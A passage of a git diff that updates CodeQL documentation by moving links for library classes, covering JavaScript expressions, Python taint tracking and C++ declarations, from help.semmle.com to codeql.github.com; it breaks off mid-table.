https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyAccessor.html +.. _PropertySetter: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PropertySetter.html +.. _PropAccess: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PropAccess.html +.. _DotExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$DotExpr.html +.. _IndexExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$IndexExpr.html +.. _InvokeExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$InvokeExpr.html +.. _CallExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$CallExpr.html +.. _MethodCallExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$MethodCallExpr.html +.. _NewExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$NewExpr.html +.. _UnaryExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$UnaryExpr.html +.. _BitNotExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$BitNotExpr.html +.. _NegExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$NegExpr.html +.. _PlusExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PlusExpr.html +.. _LogNotExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LogNotExpr.html +.. _TypeofExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$TypeofExpr.html +.. _VoidExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$VoidExpr.html +.. _DeleteExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$DeleteExpr.html +.. _SpreadElement: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$SpreadElement.html +.. _BinaryExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$BinaryExpr.html +.. _MulExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$MulExpr.html +.. _DivExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$DivExpr.html +.. _ModExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ModExpr.html +.. _ExpExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ExpExpr.html +.. _AddExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AddExpr.html +.. _SubExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$SubExpr.html +.. _LShiftExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LShiftExpr.html +.. _RShiftExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$RShiftExpr.html +.. _URShiftExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$URShiftExpr.html +.. _LogAndExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LogAndExpr.html +.. _LogOrExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LogOrExpr.html +.. _LTExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LTExpr.html +.. _Comparison: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html +.. _GTExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$GTExpr.html +.. _LEExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$LEExpr.html +.. _GEExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$GEExpr.html +.. _EqExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$EqExpr.html +.. _EqualityTest: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$EqualityTest.html +.. _NEqExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$NEqExpr.html +.. _StrictEqExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$StrictEqExpr.html +.. _StrictNEqExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$StrictNEqExpr.html +.. _BitAndExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$BitAndExpr.html +.. _BitOrExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$BitOrExpr.html +.. _XOrExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$XOrExpr.html +.. _InExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$InExpr.html +.. _InstanceofExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$InstanceofExpr.html +.. _Assignment: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Assignment.html +.. _AssignExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignExpr.html +.. _AssignAddExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignAddExpr.html +.. _CompoundAssignExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html +.. _AssignSubExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignSubExpr.html +.. _AssignMulExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignMulExpr.html +.. _AssignExpExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignExpExpr.html +.. _AssignDivExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignDivExpr.html +.. _AssignModExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignModExpr.html +.. _AssignAndExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignAndExpr.html +.. _AssignOrExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignOrExpr.html +.. _AssignXOrExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignXOrExpr.html +.. _AssignLShiftExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignLShiftExpr.html +.. _AssignRShiftExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignRShiftExpr.html +.. _AssignURShiftExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AssignURShiftExpr.html +.. _UpdateExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$UpdateExpr.html +.. _PostIncExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PostIncExpr.html +.. _PostDecExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PostDecExpr.html +.. _PreIncExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PreIncExpr.html +.. _PreDecExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PreDecExpr.html +.. _ConditionalExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ConditionalExpr.html +.. _SeqExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$SeqExpr.html +.. _AwaitExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AwaitExpr.html +.. _YieldExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$YieldExpr.html -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | -+======================================================================================================================================================================================================================================================================================================================+==========================================================================================================================+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``?`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``:`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `ConditionalExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ConditionalExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``,`` ... ``,`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `SeqExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$SeqExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------+ -| ``await`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AwaitExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AwaitExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------+ -| ``yield`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `YieldExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$YieldExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------+ Further reading --------------- diff --git a/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst index abaf0d7fbda..5d8dcb6b1bb 100644 --- a/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst @@ -25,20 +25,20 @@ For further information on data flow and taint tracking with CodeQL, see ":ref:` Fundamentals of taint tracking using data flow analysis ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ -The taint tracking library is in the `TaintTracking <https://help.semmle.com/qldoc/python/semmle/python/dataflow/TaintTracking.qll/module.TaintTracking.html>`__ module. +The taint tracking library is in the `TaintTracking <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/TaintTracking.qll/module.TaintTracking.html>`__ module. Any taint tracking or data flow analysis query has three explicit components, one of which is optional, and an implicit component. The explicit components are: -1. One or more ``sources`` of potentially insecure or unsafe data, represented by the `TaintTracking::Source <https://help.semmle.com/qldoc/python/semmle/python/dataflow/TaintTracking.qll/type.TaintTracking$TaintSource.html>`__ class. -2. One or more ``sinks``, to where the data or taint may flow, represented by the `TaintTracking::Sink <https://help.semmle.com/qldoc/python/semmle/python/dataflow/TaintTracking.qll/type.TaintTracking$TaintSink.html>`__ class. -3. Zero or more ``sanitizers``, represented by the `Sanitizer <https://help.semmle.com/qldoc/python/semmle/python/dataflow/TaintTracking.qll/type.TaintTracking$Sanitizer.html>`__ class. +1. One or more ``sources`` of potentially insecure or unsafe data, represented by the `TaintTracking::Source <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/TaintTracking.qll/type.TaintTracking$TaintSource.html>`__ class. +2. One or more ``sinks``, to where the data or taint may flow, represented by the `TaintTracking::Sink <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/TaintTracking.qll/type.TaintTracking$TaintSink.html>`__ class. +3. Zero or more ``sanitizers``, represented by the `Sanitizer <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/TaintTracking.qll/type.TaintTracking$Sanitizer.html>`__ class. A taint tracking or data flow query gives results when there is the flow of data from a source to a sink, which is not blocked by a sanitizer. -These three components are bound together using a `TaintTracking::Configuration <https://help.semmle.com/qldoc/python/semmle/python/dataflow/Configuration.qll/type.Configuration$TaintTracking$Configuration.html>`__. +These three components are bound together using a `TaintTracking::Configuration <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/Configuration.qll/type.Configuration$TaintTracking$Configuration.html>`__. The purpose of the configuration is to specify exactly which sources and sinks are relevant to the specific query. -The final, implicit component is the "kind" of taint, represented by the `TaintKind <https://help.semmle.com/qldoc/python/semmle/python/dataflow/TaintTracking.qll/type.TaintTracking$TaintKind.html>`__ class. +The final, implicit component is the "kind" of taint, represented by the `TaintKind <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/TaintTracking.qll/type.TaintTracking$TaintKind.html>`__ class. The kind of taint determines which non-value-preserving steps are possible, in addition to value-preserving steps that are built into the analysis. In the above example ``dir = path + "/"``, taint flows from ``path`` to ``dir`` if the taint represents a string, but not if the taint is ``None``. diff --git a/docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript.rst index 198b4ff0aec..37d25aff17c 100644 --- a/docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript.rst @@ -175,7 +175,7 @@ There are two points worth making about the source node API: 2. Strings are not source nodes and cannot be tracked using this API. You can, however, use the ``mayHaveStringValue`` predicate on class ``DataFlow::Node`` to reason about the possible string values flowing into a data flow node. -For a full description of the ``DataFlow::SourceNode`` API, see the `JavaScript standard library <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__. +For a full description of the ``DataFlow::SourceNode`` API, see the `JavaScript standard library <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__. Exercises ~~~~~~~~~ diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst b/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst index bd1f19be859..ceed1ef4b7f 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst @@ -25,503 +25,722 @@ The most commonly used standard library classes are listed below. The listing i Declaration classes ~~~~~~~~~~~~~~~~~~~ -This table lists `Declaration <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Declaration.qll/type.Declaration$Declaration.html>`__ classes representing C/C++ declarations. - -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Example syntax | CodeQL class | Remarks | -+=================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================+=======================================================================================================================================================================+====================================================================================================================================================================================================+ -| ``int`` *var* ``;`` | `GlobalVariable <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Variable.qll/type.Variable$GlobalVariable.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``namespace`` *N* ``{`` ... ``float`` *var* ``;`` ... ``}`` | `NamespaceVariable <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Variable.qll/type.Variable$NamespaceVariable.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``int`` *func* ``( void ) {`` ... ``float`` *var* ``;`` ... ``}`` | `LocalVariable <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Variable.qll/type.Variable$LocalVariable.html>`__ | See also `Initializer <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Initializer.qll/type.Initializer$Initializer.html>`__ | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``class`` *C* ``{`` ... ``int`` *var* ``;`` ... ``}`` | `MemberVariable <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Variable.qll/type.Variable$MemberVariable.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``int`` *func* ``(const char`` *param* ``);`` | `Function <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Function.qll/type.Function$Function.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``template < typename`` *T* ``>`` | `TemplateFunction <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Function.qll/type.Function$TemplateFunction.html>`__ | | -| | ``void`` *func* ``(`` *T* ``param);`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``int`` *func* ``(const char*`` *format* ``, ...)`` | `FormattingFunction <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/models/interfaces/FormattingFunction.qll/type.FormattingFunction$FormattingFunction.html>`__ | | -| | ``{`` ... ``}`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *func* ``< int, float > (`` ... ``);`` | `FunctionTemplateInstantiation <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Function.qll/type.Function$FunctionTemplateInstantiation.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``template < typename`` *T* ``>`` | `FunctionTemplateSpecialization <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Function.qll/type.Function$FunctionTemplateSpecialization.html>`__ | | -| | *func* ``< int,`` *T* ``> (`` ... ``) {`` ... ``}`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``class`` *C* ``{`` ... | `MemberFunction <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$MemberFunction.html>`__ | | -| | ``int`` *func* ``( float`` *param* ``);`` ... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``class`` *C* ``{`` ... | `ConstMemberFunction <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$ConstMemberFunction.html>`__ | | -| | ``int`` *func* ``( float`` *param* ``) const;`` ... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``class`` *C* ``{`` ... ``virtual int`` *func* ``(`` ... ``) {`` ... ``} };`` | `VirtualFunction <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$VirtualFunction.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``class`` *C* ``{`` ... *C* ``(`` ... ``) {`` ... ``}`` ... ``};`` | `Constructor <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$Constructor.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``C::operator float () const;`` | `ConversionOperator <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$ConversionOperator.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``class`` *C* ``{`` ... ``~`` *C* ``( void ) {`` ... ``}`` ... ``};`` | `Destructor <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$Destructor.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``class`` *C* ``{`` ... | `ConversionConstructor <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$ConversionConstructor.html>`__ | | -| | *C* ``( const`` *D* ``&`` *d* ``) {`` ... ``}`` ... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *C* ``&`` *C* ``:: operator= (const`` *C* ``& );`` | `CopyAssignmentOperator <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$CopyAssignmentOperator.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *C* ``&`` *C* ``:: operator= (`` *C* ``&& );`` | `MoveAssignmentOperator <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$MoveAssignmentOperator.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *C* ``::`` *C* ``(const`` *C* ``& );`` | `CopyConstructor <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$CopyConstructor.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *C* ``::`` *C* ``(`` *C* ``&& );`` | `MoveConstructor <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$MoveConstructor.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *C* ``::`` *C* ``(void);`` | `NoArgConstructor <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$NoArgConstructor.html>`__ | Default constructor | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``}`` | `EnumConstant <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Enum.qll/type.Enum$EnumConstant.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``friend void`` *func* ``( int );`` | `FriendDecl <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/FriendDecl.qll/type.FriendDecl$FriendDecl.html>`__ | | -| | ``friend class`` *B* ``;`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``int`` *func* ``( void ) {`` ... | `LocalEnum <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Enum.qll/type.Enum$LocalEnum.html>`__ | | -| | ``enum`` 